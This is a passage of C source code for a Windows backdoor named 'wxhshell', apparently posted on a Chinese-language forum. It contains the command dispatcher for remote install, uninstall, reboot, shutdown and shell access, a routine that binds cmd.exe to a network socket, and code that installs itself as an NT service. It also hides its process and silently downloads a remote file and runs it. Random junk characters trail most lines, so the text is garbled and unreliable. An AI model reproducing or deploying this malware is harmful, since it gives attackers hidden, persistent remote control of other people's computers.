  // 安装 uC$4TnoQx.  
  case 'i': { &G5I0:a   
    if(Install()) b|pNc'u:Cn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0eu$ oel-  
    else fJN9+l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); orN2(:Ct7  
    break; mjJlXA  
    } qb/!;U_  
  // 卸载 ^ZZ@!Udy  
  case 'r': { Z-r0 D  
    if(Uninstall()) *g_>eNpXD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F u=VY{U4  
    else ~#xs `@{s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \V7x3*nA  
    break; Q0cf]  
    } D2mAyU -  
  // 显示 wxhshell 所在路径 oFA$X Y  
  case 'p': { 63\>MQcLy  
    char svExeFile[MAX_PATH]; lu(Omds+  
    strcpy(svExeFile,"\n\r"); \fGYJ37  
      strcat(svExeFile,ExeFile); m*WEge*$t  
        send(wsh,svExeFile,strlen(svExeFile),0); ZX RN?b  
    break; ]$X=~>w  
    } D}=i tu  
  // 重启 -cS4B//IK8  
  case 'b': { (>% Vj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y+PxV*"a  
    if(Boot(REBOOT)) %JU23c*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k$m X81  
    else { m<;" 1<k  
    closesocket(wsh); wH5O>4LO  
    ExitThread(0); J~ rC  
    } NQ{Z   
    break; S 2` ;7  
    } T</gWW  
  // 关机 SVeU7Q6-  
  case 'd': { G&B}jj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {nWtNyJpS  
    if(Boot(SHUTDOWN)) )bJ6{&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hw3 ES  
    else { >~r@*gml  
    closesocket(wsh); W..>Ny;'3  
    ExitThread(0); x}24?mP  
    } RB@gSHOc?  
    break; Q^;\!$:M  
    } {:+^[rer j  
  // 获取shell >I ; #BE3  
  case 's': { <GlV!y  
    CmdShell(wsh); &cejy>K  
    closesocket(wsh); l"g%vS,;`  
    ExitThread(0); ~H."{  
    break; *)sz]g|d  
  } f;6d/?=~  
  // 退出 |/ 7's'  
  case 'x': { z{_Vn(Kg   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Xe< JJvq  
    CloseIt(wsh); clV/i&]Qa  
    break; ]zAg6*-/B  
    } ,)m-nZ5  
  // 离开 G->@   
  case 'q': { 5,fzB~$TX(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZPog)d@!  
    closesocket(wsh); 0{uX2h  
    WSACleanup(); 'v5gg2  
    exit(1); B*Xh$R  
    break; 7]53GGNO  
        } P_%l}%   
  } RGOwm~a  
  } <\NXCUqDpo  
|]^! 4[!U  
  // 提示信息 "aH]4DO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^3655mb  
} [X\2U4  
  } 6 d6SP)|j  
s_Gp +-  
  return; (b5af_ c  
} VNfx>&`  
]>j_ Y ,  
// shell模块句柄 ~<-h# B  
int CmdShell(SOCKET sock) 8=VX` X  
{ s^< oU  
STARTUPINFO si; kv2:rmv  
ZeroMemory(&si,sizeof(si)); 2j|Eh   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ObnB6ShKi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *8+YR  
PROCESS_INFORMATION ProcessInfo; ~d]7 Cl  
char cmdline[]="cmd"; /GNYv*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gE#,QOy  
  return 0; =$J2  
} CQHlSV W  
p5ihuV,   
// 自身启动模式 /vKDlCH*  
int StartFromService(void) -tJ*F!w6U  
{ C7:Ry)8'I  
typedef struct z9ZAY!Zhq]  
{ /PlsF  
  DWORD ExitStatus; wq#3f#3V  
  DWORD PebBaseAddress; n9yxZu   
  DWORD AffinityMask; (Nf.a4O  
  DWORD BasePriority; bv0 %{u&  
  ULONG UniqueProcessId; x~.U,,1  
  ULONG InheritedFromUniqueProcessId; lw{|~m5`  
}   PROCESS_BASIC_INFORMATION; bzS [X  
=T`-h"E~@  
PROCNTQSIP NtQueryInformationProcess; R _%pR_\  
* G4;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uw!v=n3#!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AseY.0  
kp|reKM/  
  HANDLE             hProcess; 7Fx8&Z  
  PROCESS_BASIC_INFORMATION pbi; OZD/t(4?6s  
hb{(r@[WHv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {lA@I*_lj  
  if(NULL == hInst ) return 0; [%pZM.jFO  
h kY E7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D3OV.G]`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h2nyP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QK\z-'&n  
@{G(.S  
  if (!NtQueryInformationProcess) return 0; /(w5S',EL  
J.*=7zmw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5sH ee,  
  if(!hProcess) return 0; *MNY1+RJ  
+q;^8d>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _1 a2Z\  
9b0Z Ey{  
  CloseHandle(hProcess); 9bB~r[k  
MD,-<X)Qy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K(?7E6\vO  
if(hProcess==NULL) return 0; W*0KAC`m  
[3s~Z8 pP  
HMODULE hMod; c=5$bo]LI  
char procName[255]; Z-p_hNb  
unsigned long cbNeeded; n1ICW 9  
@AwH?7(b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q^s$4q  
@RC_Ie=#)  
  CloseHandle(hProcess); {_Y\Y&#  
a?;{0I:Ln  
if(strstr(procName,"services")) return 1; // 以服务启动 1DX=\BWp  
IpWl;i`__  
  return 0; // 注册表启动 q&vr;f B2  
} jH8F^KJM[  
8L#sg^1V  
// 主模块 C$P3&k#W  
int StartWxhshell(LPSTR lpCmdLine) {MHr]A}X\  
{ J-U}iU|  
  SOCKET wsl; ~[C m#c  
BOOL val=TRUE; uJ[dO}  
  int port=0; \oi=fu=}*  
  struct sockaddr_in door; =hA/;  
o,29C7Ii  
  if(wscfg.ws_autoins) Install(); 0P|WoC X  
A 9u9d\  
port=atoi(lpCmdLine); 6 R!0v8  
*ce h ]v  
if(port<=0) port=wscfg.ws_port; G  B15  
H*Yy o ?  
  WSADATA data; 3V-pLs|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %l>^q`p  
aJub("  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O@l`D`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YcIk{_N3  
  door.sin_family = AF_INET; k]v a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s>kzt1,x  
  door.sin_port = htons(port); qp7>_B  
+;vfn>^!b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -G{}8GM  
closesocket(wsl); WKN\* N<  
return 1; ,ujoGSx}  
} HH>]"mv  
-gzk,ymp  
  if(listen(wsl,2) == INVALID_SOCKET) { )s!x)< d;  
closesocket(wsl); 2 Y%$6NX  
return 1; LNe- ]3wB  
} =x=#Etj|  
  Wxhshell(wsl); z7NaW e  
  WSACleanup(); 5{{u #W%=  
'peFT[1> (  
return 0; GR/ p%Y(  
daaurT  
} @@+\  
5=l Ava#  
// 以NT服务方式启动 ucyxvhH^-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~/QzL.S;p  
{ w!h!%r  
DWORD   status = 0; &ceZu=*  
  DWORD   specificError = 0xfffffff; HuG|BjP  
1SQ&m H/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &Jq?tnNd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B+,Z 3*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8hdd1lVKO8  
  serviceStatus.dwWin32ExitCode     = 0; mim]nRd2v  
  serviceStatus.dwServiceSpecificExitCode = 0; H"m^u6Cmy-  
  serviceStatus.dwCheckPoint       = 0; hV_0f_Og  
  serviceStatus.dwWaitHint       = 0; 7u0!Q\  
st~f}w@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N n+leM  
  if (hServiceStatusHandle==0) return; (C1]R41'  
c/b} 39X  
status = GetLastError(); 8 "|')f#  
  if (status!=NO_ERROR) K@6$|.bc  
{ IX$ $pdQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *SL v$A  
    serviceStatus.dwCheckPoint       = 0; ur"cku G!9  
    serviceStatus.dwWaitHint       = 0; YaDr6)  
    serviceStatus.dwWin32ExitCode     = status; g?)9zJ9  
    serviceStatus.dwServiceSpecificExitCode = specificError; os"o0?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q8`JRmt)H  
    return; &*r YY\I  
  } }3ty2D#/:  
[.;VCk)0x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "2$C_aE  
  serviceStatus.dwCheckPoint       = 0; UJ2Tj+  
  serviceStatus.dwWaitHint       = 0; gCW.;|2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wYPJji D  
} :k#Y|(  
@ITJ}e4  
// 处理NT服务事件,比如:启动、停止 AKejWh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,_D`0B6o  
{ b~z1%?  
switch(fdwControl) kO+Y5z6=  
{ "oz qfh  
case SERVICE_CONTROL_STOP: +m^ gj:yL  
  serviceStatus.dwWin32ExitCode = 0; b[%sKl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  W^Wr  
  serviceStatus.dwCheckPoint   = 0; /z.Y<xOc  
  serviceStatus.dwWaitHint     = 0; ~K5eO-  
  { c=0S]_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=*rWh8)%<  
  } Mpzt9*7R  
  return; f![?og)I%  
case SERVICE_CONTROL_PAUSE: 1k EXTs=,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IQAV`~_G  
  break; v[E*K@6f  
case SERVICE_CONTROL_CONTINUE: Gb4k5jl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kI<;rP1S|  
  break; i 3?=up!  
case SERVICE_CONTROL_INTERROGATE: ~oWCTj-  
  break; US[{ Q  
}; hd^?mZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >4 4A  
} Uus%1hC%a  
b{%p  
// 标准应用程序主函数 <=[,_P6|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -.<fGhmU  
{ ZfsM($|a  
h8B:}_Cu  
// 获取操作系统版本 v'na{"  
OsIsNt=GetOsVer(); t.Q}V5t{g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K9O%SfshF  
}-jS0{i  
  // 从命令行安装 Hz~?"ts@;  
  if(strpbrk(lpCmdLine,"iI")) Install(); R!{^qHb  
,\8F27  
  // 下载执行文件 14>WpNN  
if(wscfg.ws_downexe) { W}jel}:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r&!Ebe-  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2MY-9(no  
} 6bPoC$<Z  
n@%Q 2_  
if(!OsIsNt) { Uao8#<CkvJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 E/+H~YzO  
HideProc(); fz>3  
StartWxhshell(lpCmdLine); d?[gd(O  
} st4z+$L  
else <KY \sb9  
  if(StartFromService()) (B+CI%= D  
  // 以服务方式启动 b^s978qn#  
  StartServiceCtrlDispatcher(DispatchTable); Hreu3N  
else OeMI  
  // 普通方式启动 }SD*@w  
  StartWxhshell(lpCmdLine); S:5vC {  
k|uW~ I)  
return 0; +;#z"m]  
}
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只看该作者 1 发表于: 2006-10-10
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